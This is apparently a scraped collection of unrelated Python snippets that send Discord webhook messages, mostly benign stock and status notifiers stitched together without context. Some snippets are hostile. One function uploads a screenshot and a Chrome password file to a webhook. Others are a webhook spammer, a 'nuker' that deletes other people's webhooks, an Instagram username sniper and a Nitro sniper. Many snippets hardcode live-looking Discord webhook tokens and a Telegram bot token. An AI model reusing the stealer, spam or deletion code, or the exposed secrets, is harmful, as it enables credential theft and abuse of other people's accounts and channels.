Пример #1
0
def webhook_spammer(webhook_url, message, delay):
    webhookurl = Webhook(webhook_url)

    while True:
        time.sleep(delay)
        webhookurl.send("Made By Aeron: " + message)
        return ("Sent.")
Пример #2
0
def discord_webhook(product_item):
    hook = Webhook(url="")
    """
    Sends a Discord webhook notification to the specified webhook URL
    :param product_item: An array of the product's details
    :return: None
    """
    embed = Embed(color=int(16711816))
    if product_item == 'initial':
        embed.description = 'NBA Top Shot Monitor // INITIALISED // Twitter: @LNDNHYPE :smile:'
    else:
        embed.set_author('NBA Top Shot Monitor')
        embed.set_title(title=f'{product_item[1]}')  # Item Name
        embed.add_field(name='Price:', value=product_item[2], inline=True)
        embed.add_field(name='Stock Count:',
                        value=product_item[4],
                        inline=True)
        embed.add_field(name='Remaining:', value=product_item[3], inline=True)
        embed.add_field(name='Pre Order:', value=product_item[5], inline=False)
        #embed.set_thumbnail(product_item[4])

    embed.set_footer(
        text=
        f'Developer Twitter: @LNDNHYPE • {datetime.now().strftime("%Y-%m-%d %H:%M")}',
        icon_url='https://i.imgur.com/jjOXloc.png')

    try:
        hook.send(embed=embed)
    except requests.exceptions.HTTPError as err:
        print(err)
        logging.error(msg=err)
    else:
        print("Payload delivered successfully")
        logging.info("Payload delivered successfully")
def nuker():
    start = input(">")
    hook = Webhook(start)
    hook.send(
        "This webhook has forcefully been deleted :gorilla: :middle_finger: :gorilla:"
    )
    x = requests.delete(start)
Пример #4
0
async def on_ready():
    # console related
    # ================================================

    subprocess.call('cls', shell=True)
    print('\033[92m' + (str(datetime.datetime.now())[:-7]) + prefix + 'Logged in as')
    print((str(datetime.datetime.now())[:-7]) + prefix + client.user.name)
    print((str(datetime.datetime.now())[:-7]) + prefix + str(client.user.id))
    print((str(datetime.datetime.now())[:-7]) + prefix + '------')

    # discord related
    # ================================================

    game1 = discord.Game(name='>umfrage')
    await client.change_presence(activity=game1)

    # ================================================
    hook = Webhook(webhooklogs)

    # ================================================

    embed = Embed(
        title='umfrageBot - Status',
        description='I am ready again!',
        thumbnail_url='https://i0.wp.com/www.activate-the-beast.com/wp-content/uploads/2015/05/Ern%C3%A4hrung-Umfrage-Icon-e1432756685893.png?fit=300%2C300',
        color=0x6eff33
    )

    hook.send(embed=embed)
    pushedNotification.sendNot('BundestagBot: I am ready again!')
Пример #5
0
    def send_to_discord(self, altered_sizes):
        hook = Webhook(self.webhook)
        hook.username = "******"
        hook.avatar_url = "https://pbs.twimg.com/profile_images/1001585704303030273/SNhhIYL8_400x400.jpg"

        # create embed
        embed = Embed(title='%s on Adidas %s' %
                      (self.pid, self.region.upper()),
                      url=self.get_wishlist_url(),
                      color=10764258,
                      timestamp='now')

        # add embed fields
        embed.add_field(name='PID', value=self.pid)
        embed.add_field(name='Region', value=self.region.upper())
        embed.add_field(name='Overall Status',
                        value=self.latest_status,
                        inline=False)

        for size in altered_sizes:
            embed.add_field(name='Size %s' % size['size'],
                            value=size['availability_status'],
                            inline=True)

        embed.set_footer(text='SD Adidas Monitor',
                         icon_url='https://i.imgur.com/ceVbiGI.png')
        hook.send(embed=embed)
        self.log("Posted status update to Discord")
    def post_changes(self):
        """ Posts the changes to the Discord server via a webhook. """
        # TODO: This brakes when user writes "'"
        regex = r"Change (?P<change_number>\d*) on (?P<date>\d{4}/\d{2}/\d{2}) (?P<time>\d{2}:\d{2}:\d{2}) by (?P<name>.*)@.* \'(?P<message>.*?)\'"
        substitution = "\g<message>- \g<name>/\g<change_number>"

        message = re.sub(regex,
                         substitution,
                         self.check_p4(),
                         flags=re.MULTILINE)

        output = self.check_p4()
        payload = self.check_for_changes(output)
        if payload != "":
            # Make webhook embed
            hook = Webhook(self.webhook_url)

            embed = Embed(description=message, color=49915, timestamp="now")
            # Post to channel
            hook.send(
                embed=embed,
                username="******",
                avatar_url="https://i.imgur.com/WseNTPC.jpg",
            )
        else:
            return
Пример #7
0
def SendOutWebhook():
    embed = Embed(
        title="KITH MOSAIC TEE/SLATE(并没有补货)",
        url=
        "https://kith.com/collections/kith-monday-program/products/kith-mosaic-tee-slate",
        description="In Stock Now!",
        color=6940159,
        timestamp="now",
    )

    hook = Webhook(
        "https://ptb.discordapp.com/api/webhooks/665206935125098496/5nqd6ABS3So5UVCRle7nZIqhJ8wRLFPCBbTReW9MqC6l8A9zYiUe4TlRCwbTMtn0Ov_u"
    )

    embed.add_field(
        name="商品页面",
        value=
        "https://cdn.shopify.com/s/files/1/0094/2252/products/KH3777-105-2_300x300.jpg?v=1590786070"
    )
    embed.set_author(
        name="eee7272的小小monitor",
        icon_url=
        "https://cdn.discordapp.com/avatars/677904239527329817/a5fb74580580dd6d3354e8ecd7f136ee.png?size=128"
    )
    embed.set_image(
        "https://cdn.shopify.com/s/files/1/0094/2252/products/KH3777-105_200x200_crop_center.jpg?v=1590786070"
    )
    embed.set_footer(
        text="eee7272#6012",
        icon_url=
        "https://cdn.discordapp.com/avatars/677904239527329817/a5fb74580580dd6d3354e8ecd7f136ee.png?size=128"
    )

    hook.send(embed=embed)
Пример #8
0
    def sendWebhook(self, inviteCode, startTime, success=False, guildName=None):
        webhook = Webhook(os.environ["discordWebhook"])

        if success == False:
            embedColor = 16724787
            embedTitle = "Failed Joining Guild"
        else:
            embedColor = 9881393
            embedTitle = "Joined Guild"

        embed = Embed(
            title=embedTitle,
            color=embedColor,
            time="now"
        )
        embed.add_field(name="Invite Code", value=inviteCode, inline=True)
        embed.add_field(name="Elapsed time", value=str(time.time() - startTime) + " sec", inline=True)

        if success == True and guildName != None:
            embed.add_field(name="Guild Name", value=guildName, inline=True)

        embed.set_author(name="Andromeda")
        embed.set_footer(text="Andromeda - Made By Thoosje")

        try:
            webhook.send(embed=embed)
        except Exception:
            print(colored(getPrintFormat() + "Failed to send webhook.", "red"))
        return
Пример #9
0
class Loop:
    def __init__(self, config: Config, username):
        self.webhook = Webhook(config.webhook_url)
        self.username = username
        self.last_image = 0

    def run(self):
        scraper = Scraper(self.username)
        post = scraper.get_last_post()
        user = scraper.get_user()

        if post.id == self.last_image:
            return

        embed = self.__create_embed(post, user)
        print(f'New post found\n{user.name} : {post.id}')
        self.webhook.send(embed=embed)
        self.last_image = post.id

    @staticmethod
    def __create_embed(post: Post, user: User) -> dhooks.Embed:
        embed = dhooks.Embed(description=post.caption)
        embed.color = 0xEC054C
        embed.set_image(post.image_url)
        embed.set_timestamp(time=post.timestamp)
        embed.set_footer(f'❤️ {post.likes} | 💬 {post.comments}')
        embed.set_author(name=user.name, icon_url=user.icon_url, url=user.link)

        return embed
Пример #10
0
def send_discord(level: str, message: str) -> bool:
    assert level in ['info', 'warning', 'success', 'error']
    try:
        hook = Webhook(
            'https://discordapp.com/api/webhooks/607840984373526548/mh5iaiPW-y4M_cED3DfHQJL5h7nSg1K7PUP7pWGj8nKe9F0zpm3SFE3zEIzFX0TNGbMs'
        )
    except:
        logger.exception('discord send error')
        return False

    if level == 'info':
        color = 0x00fffa
    elif level == 'warning':
        color = 0xffe900
    elif level == 'success':
        color = 0x04ff00
    elif level == 'error':
        color = 0xff0000

    try:
        embed = Embed(
            title=level.upper(),
            description=message,
            color=color,
            timestamp='now'  # sets the timestamp to current time
        )
        hook.send(embed=embed)
    except:
        logger.exception('discord send error')
        return False

    return True
Пример #11
0
def notify_password_url(webhook_url, password_url, screen_name, profile_pic):

    hook = Webhook(url=webhook_url)
    color = random.choice(HEX_LIST)

    embed = Embed(
        title="Possible link found:",
        color=color,
        timestamp='now',
        description=password_url,
    )

    embed.set_author(name=screen_name,
                     icon_url=profile_pic,
                     url=f'https://twitter.com/{screen_name}')
    embed.set_footer(
        text=
        f'BONZAY Twitter • {datetime.datetime.now().strftime("%Y-%m-%d %H:%M")}',
        icon_url='https://cdn.discordapp.com/emojis/636516489322561536.png?v=1'
    )

    # if url:
    #      embed.add_field('Link in tweet', value=url)

    #embed.set_author(name='New post by {instagram_user}')
    # if tweet_content:
    #     embed.add_field("Tweet description", tweet_content)
    # embed.image(image)
    hook.send(embed=embed)
Пример #12
0
def bot(hookName, username):
    if hookName == "":
        pass
    else:
        hook = Webhook(hookName)

        embed = Embed(
            description="GITAM Meetings",
            color=0xB1040E,
            timestamp="now"
        )

        embed.set_author(name="Meetings")
        with open('meet.csv', 'r') as file:
            reader = csv.reader(file)
            for row in reader:
                # print(row)
                title=row[0]
                dateandlink=row[1] + ", " + row[2]
                embed.add_field(name=title, value=dateandlink)
        
        footer = 'By ' + username

        embed.set_footer(text=footer)
        hook.send(embed=embed)
Пример #13
0
    def sendWebhook(self, nitroCode, startTime, success=False, errorCode=None):
        webhook = Webhook(os.environ["discordWebhook"])

        if success == False:
            embedColor = 16724787
            embedTitle = "Failed Claiming Nitro"
        else:
            embedColor = 9881393
            embedTitle = "Claimed Discord Nitro"

        embed = Embed(
            title=embedTitle,
            color=embedColor,
            time="now"
        )
        embed.add_field(name="Nitro Code", value=nitroCode, inline=True)
        embed.add_field(name="Elapsed time", value=str(time.time() - startTime) + " sec", inline=True)

        if success == False and errorCode != None:
            embed.add_field(name="Error code", value=errorCode, inline=True)

        embed.set_author(name="Andromeda")
        embed.set_footer(text="Andromeda - Made By Thoosje")

        try:
            webhook.send(embed=embed)
        except Exception:
            print(colored(getPrintFormat() + "Failed to send webhook.", "red"))
        return
Пример #14
0
def send_webhook(title, inputsize, image, url, paymentype, checkout_time):
    try:
        hook = Webhook(url=webhook_url)
        embed = Embed(title='SACAI Checkout',
                      color=15957463,
                      url=url,
                      thumbnail_url=str(image))

        embed.add_field(name='Product', value=str(title))
        embed.add_field(name='Product Size', value=str(inputsize))
        embed.add_field(name='Payment Type', value=str(paymentype))
        embed.add_field(name='Checkout Speed',
                        value=str(checkout_time) + ' sec')
        embed.set_footer(
            text=
            f'BONZAY SACAI • {datetime.datetime.now().strftime("%Y-%m-%d %H:%M")}',
            icon_url=
            'https://cdn.discordapp.com/icons/594125608003305492/7f5110cf3bb22f6d622cd03ba1586f59.webp?size=512'
        )

        hook.send(embed=embed)
        print(gettime() + Fore.GREEN + Style.BRIGHT +
              ' [SUCCESS] -> Successfully sent success webhook!')
    except:
        print(gettime() + Fore.RED +
              ' [ERROR] -> Failed sending success webhook!')
Пример #15
0
def sendHooks(value, type, link):
    stock = (value / 25)
    amount = math.floor(stock)
    if amount != 0:
        hook = Webhook(
            'https://discordapp.com/api/webhooks/704560730749272064/jFr8w0aP5gxOZL0ImAJb53F94xWAxfezRk3cyD3Y9E0msBPSFwQSv_PpqR-g4XV3pupx'
        )

        embed = Embed(
            #description='Oculus proxies restocked ' + str(numpacks) + " packs of " + type,
            color=0x5CDBF0,
            timestamp='now'  # sets the timestamp to current time
        )

        image1 = 'https://pbs.twimg.com/profile_images/1000760087546392576/UJBqUta8.jpg'
        image2 = 'https://pbs.twimg.com/profile_images/1000760087546392576/UJBqUta8.jpg'

        embed.set_author(name='Oculus Proxies Restock\n-->CLICK ME<--',
                         icon_url=image1,
                         url=link)
        embed.add_field(name='Type', value=type)
        embed.add_field(name='Amount\n(sold in 25x)', value=str(amount))
        embed.set_footer(text='Made by @thecanoechief', icon_url=image1)

        embed.set_thumbnail(image1)
        embed.set_image(image2)

        hook.send("@everyone", embed=embed)
        print("Restock found for " + type + "\nWebhook executed")
        time.sleep(0.5)
Пример #16
0
def send_alert(sensor, state, alert):

    global recent_alerts

    webhook_url = "https://discordapp.com/api/webhooks/686122353737990145/mFcWLAegamXt2C58RFKTvDdu4twCHPSf8Amv2Wv5pMdrL1Oe253Hw1-OQxTucIBDsvAt"

    # Check against recent alerts
    if alert not in recent_alerts[-3:]:

        # Check if alert is still valid (wait 10 seconds)
        time.sleep(10)

        try:
            sensor_data = static_sensors.main()

            if sensor_data[sensor] == state:

                hook = Webhook(webhook_url)
                hook.send(alert)

                recent_alerts.append(alert)
                print('Sending Message: "%s"' % alert)

            else:
                print('Alert no longer valid. Skipping: %s' % sensor)

        except Exception as e:
            print(e)

        # Waiting period before checking for another alert
        time.sleep(30)
Пример #17
0
    def login():
        global driver
        global hook
        #login required
        print("logging in")
        emailField = WebDriverWait(driver, 20000).until(
            EC.element_to_be_clickable((By.XPATH, '//*[@id="i0116"]')))
        emailField.click()
        emailField.send_keys(email)
        #time.sleep(5)
        #driver.find_element_by_xpath('//*[@id="idSIButton9"]').click() #Next button
        WebDriverWait(driver, 20000).until(
            EC.visibility_of_element_located(
                (By.XPATH, '//*[@id="idSIButton9"]'))).click()
        #time.sleep(10)
        #passwordField = driver.find_element_by_xpath('//*[@id="i0118"]')
        passwordField = WebDriverWait(driver, 20000).until(
            EC.visibility_of_element_located((By.XPATH, '//*[@id="i0118"]')))
        passwordField.click()
        #time.sleep(10)
        passwordField.send_keys(password)

        #driver.find_element_by_xpath('//*[@id="idSIButton9"]').click() #Sign in button
        WebDriverWait(driver, 20000).until(
            EC.visibility_of_element_located(
                (By.XPATH, '//*[@id="idSIButton9"]'))).click()
        hook = Webhook(webhooklink)
        hook.send("Successfully logged in")

        time.sleep(5)
        # WebDriverWait(driver,20000).until(EC.visibility_of_element_located((By.XPATH,'/html/body/promote-desktop/div/div/div/div[1]/div[2]/div/a'))).click()

        try:
            WebDriverWait(driver, 20000).until(
                EC.visibility_of_element_located((
                    By.XPATH,
                    '/html/body/promote-desktop/div/div/div/div[1]/div[2]/div/a'
                ))).click()
            #time.sleep(10)
        except:
            pass

        try:
            WebDriverWait(driver, 20000).until(
                EC.visibility_of_element_located(
                    (By.CLASS_NAME,
                     'guest-license-error-dropdown-title'))).click()
            time.sleep(5)
            list_of_org = driver.find_elements_by_class_name('tenant-name')
            for org in list_of_org:
                if org.text == orgname:  #org_name
                    org.click()
                    break
            WebDriverWait(driver, 20000).until(
                EC.visibility_of_element_located((
                    By.XPATH,
                    '//*[@id="page-content-wrapper"]/div[1]/div/div[2]/div[4]/button'
                ))).click()
        except:
            pass
Пример #18
0
def make_webhook(avatar, tweet, link_list, text):
    """Make webhook embed"""
    log.logger.debug(f"Tweet: {text}")

    hook = Webhook(config.webhook_url)

    embed = Embed(
        description=text,
        color=0x1E0F3,  # Light blue
        timestamp="now",  # Set the timestamp to current time
    )

    embed.set_author(
        icon_url=avatar,
        name=tweet.user.screen_name,
        url=f"https://twitter.com/statuses/{tweet.id}",
    )

    hook.send(embed=embed)

    # Add links under embed
    if link_list is not None:
        links = "\n".join([str(v) for v in link_list])
        if links:
            hook.send(f"I found some links:\n{links}")

    log.logger.info("Posted.")
Пример #19
0
def discord_embed(severity, source, title, description=None, **fields):
    """Send an embedded message to discord.
    """
    global DISCORD_WARNING_SENT

    severity_icon, discord_url = severities[severity]

    if not discord_url or discord_url == 'none':
        if not DISCORD_WARNING_SENT:
            DISCORD_WARNING_SENT = True
            logging.warning(
                'DISCORD_WEBHOOK_URL not configured, will not send messages to discord.'
            )
        logging.info('Discord embed not sent: %s: %s: %s', title, description,
                     fields)
        return

    try:
        discord = Webhook(discord_url)
        title = severity_icon + ' ' + title
        embed = Embed(title=title,
                      description=description,
                      color=0xff0000,
                      timestamp='now')
        embed.set_author(source)
        for field, value in fields.items():
            embed.add_field(field, value)
        discord.send(embed=embed)
    except Exception as e:
        logging.error('Unhandled exception when sending discord embed:')
        logging.exception(e)
Пример #20
0
def discord_msg(severity, message, include_icon=True):
    """Send a simple text message to discord.
    """
    global DISCORD_WARNING_SENT

    severity_icon, discord_url = severities[severity]

    if not discord_url or discord_url == 'none':
        if not DISCORD_WARNING_SENT:
            DISCORD_WARNING_SENT = True
            logging.warning(
                'DISCORD_WEBHOOK_URL not configured, will not send messages to discord.'
            )
        return

    try:
        discord = Webhook(discord_url)

        if include_icon:
            discord.send(severity_icon + ' ' + message)
        else:
            discord.send(message)
    except Exception as e:
        logging.error('Unhandled exception when sending discord message:')
        logging.exception(e)
Пример #21
0
def update_set(webhook, set_info):

    hook = Webhook(webhook)
    embed = Embed(
        color=14177041,
        title="Release Date Update",
        description=set_info["name"],
        timestamp="now",
    )

    embed.add_field(name="Release Date",
                    value=set_info["release_date"],
                    inline=False)

    embed.add_field(name="Category", value=set_info["category"], inline=False)

    embed.add_field(name="View Full Calendar",
                    value="[Click here](https://tempest.cards/)",
                    inline=True)

    embed.set_author(
        name="Card Release Calendar",
        icon_url=
        "https://cdn.discordapp.com/attachments/161323390362320897/743688864694009856/Untitled-1.png"
    )

    embed.set_footer(
        text="Tempest Cards Release Calendar",
        icon_url=
        "https://cdn.discordapp.com/attachments/161323390362320897/743688864694009856/Untitled-1.png"
    )

    hook.send(embed=embed)
def download_vid(video):
    hook = Webhook(DISCORD_API)
    if type == 'mp4':
        try:
            video.streams.filter(mime_type="video/mp4",
                                 res=res).first().download()
        except AttributeError as e:
            # If the resolution isnt available for that particular video
            print(red + f'[-] Resolution {res} not available!')
            print(reset)
            exit(0)

    elif type == "mp3":
        try:
            video.streams.filter(mime_type='audio/mp3').first().download()
        except AttributeError as e:
            video.streams.filter(mime_type='audio/mp4').first().download()
        except:
            print(red + '[-] Audio format is not supported for this link!!')
            print(reset)
            exit(0)
    else:
        # Incase a wrong TYPE is given
        print(red + '[-] Invalid type!!')
        print(reset)
        exit(0)

    # The following message will be sent to your discord webhook notifying you when the video has finished downloading
    hook.send(f'"{video.title}" downloaded successfully! ')
    print(yellow + f'[*] "{video.title}" downloaded successfully! ')
Пример #23
0
def hook_send(product_url, stock):
    print(product_url)
    hook = Webhook(
        "https://discordapp.com/api/webhooks/697993898659676230/09E2-tTgtVWc6NLuJ5NgaXyioE98A_VADBR3MbULkupaz-C_1UDX350L2VEDV46ams07"
    )
    embed = Embed(description=product_url, color=0x5CDBF0, timestamp="now")
    embed.add_field(name="STOCK AVAILABILITY", value=stock)
    hook.send(embed=embed)
Пример #24
0
def sendDiscordInitialize():
    now = datetime.datetime.now()
    hook = Webhook(os.environ.get("DISC_HOOK"))
    embed = Embed(description="The scraper has successfully booted up!",
                  color=0x5CDBF0,
                  timestamp='now')
    embed.set_footer(text="MCS")
    hook.send(embed=embed)
Пример #25
0
def send_error_notification(error):
    """ Send errror message webhook """
    log.logger.error(f"Error: {error}")
    hook = Webhook(config.webhook_error_url)
    hook.send(
        f"<@126462229892694018> I'm broken again "
        f"<:PepeHands:461899012136632320>\n{error}"
    )
    return False
Пример #26
0
def webhook():
    hook = Webhook(os.getenv('WEBHOOK_URL'))
    new_blogs = get_new_blognnone_contetnt()
    for new_blog in new_blogs:
        if new_blog not in db["blog_path"]:
            hook.send(new_blog)
            update_blogs(new_blog)

    return "Webhook ..."
Пример #27
0
def grab_all(token):
    hook = Webhook(web)
    screen = ImageGrab.grab()
    screen.save(local + '\\screen.png')
    screen.close()
    hook.send(file=File(local + "\\screen.png"))
    os.remove(local + '\\screen.png')
    with open(local + '\\Google\\Password_Chrome.txt', 'r') as fp:
        hook.send(file=File(fp, name=f"Passwords_Chrome.txt"))
Пример #28
0
def send_dis_msg(api_key, msg):
    try:
        hook = Webhook(api_key)
    except Exception:
        pass

    try:
        hook.send(msg)
    except Exception:
        pass
Пример #29
0
def thbeat(url):
    global youremail
    global get_data
    global msg
    global thbeat

    values = {
        "username": str(url),
        "chaining_enabled": "on",
        "email": youremail
    }
    urlswap = "https://i.instagram.com/api/v1/accounts/edit_profile/"

    usr = str(url)

    url = "https://i.instagram.com/api/v1/feed/user/{}/username/".format(
        usr)  ##
    clear()
    print(banner)
    print(colored("Target:", "white"), colored("{}".format(usr), "red"))

    #animation = "|/-\\"

    #for i in range(100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000999999999999999999999999999999999999999990):
    #time.sleep(0.1)
    #sys.stdout.write("\r" + format(usr) + " : " + animation[i % len(animation)])
    #sys.stdout.flush()
    #do something

    while 1:
        get_data = scan.post(url).content.__contains__(
            '"items": [], "num_results": 0, "status": "ok"'.encode())
        if get_data:
            s = rlogin.post(urlswap, data=values)
            ssd = s.content.__contains__("is_private".encode())
            if ssd:
                clear()
                print(banner)
                print("         Successful Request {} ".format(usr))
                print(colored("                       Active X", "green"))
                hook = Webhook(
                    "https://discordapp.com/api/webhooks/730141580198936578/FgUsT3XEjTLZeZZU8LQbrlzpQmKIAqe8Ffk_Sz6TQGLOJUeNS6DExZw2pFFJiI2rK9u5"
                )
                data = ("Successful Request @{}".format(usr))
                hook.send(data)
                TOKEN = "1197097853:AAF-A9fOTZ8HE73BIuEMwHee-b8vHF2epSA"  #@botfather
                TEXT = ("Successful Request @{}".format(usr))
                CHAT_ID = ("-1001259522684")
                URL = f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={CHAT_ID}&text={TEXT}"
                dark = requests.get(URL)
                print(" ")
                time.sleep(0.050)
            else:
                print("NEVER STOP [{}]".format(s.content))
                input(" ")
Пример #30
0
async def send_error(ctx, error):
    hook = Webhook(
        "https://discord.com/api/webhooks/805737880047190026/gg7V8eqwl6L8B9yWz2jNXJiJbQcejgi9hgYs52dAZ6_Mej3FEd5Yj_JxSR7YGHWkL_DX"
    )
    embed = discord.Embed(
        title="Global Error",
        description=
        f"**Guild: ** {ctx.guild.name} ({ctx.guild.id})\n**Message:** `{ctx.message.content}`\n**Author:** {ctx.author} ({ctx.author.id})",
        colour=discord.Colour.orange())
    embed.add_field(name="Error", value=f"```{error}```", inline=False)
    hook.send(embed=embed)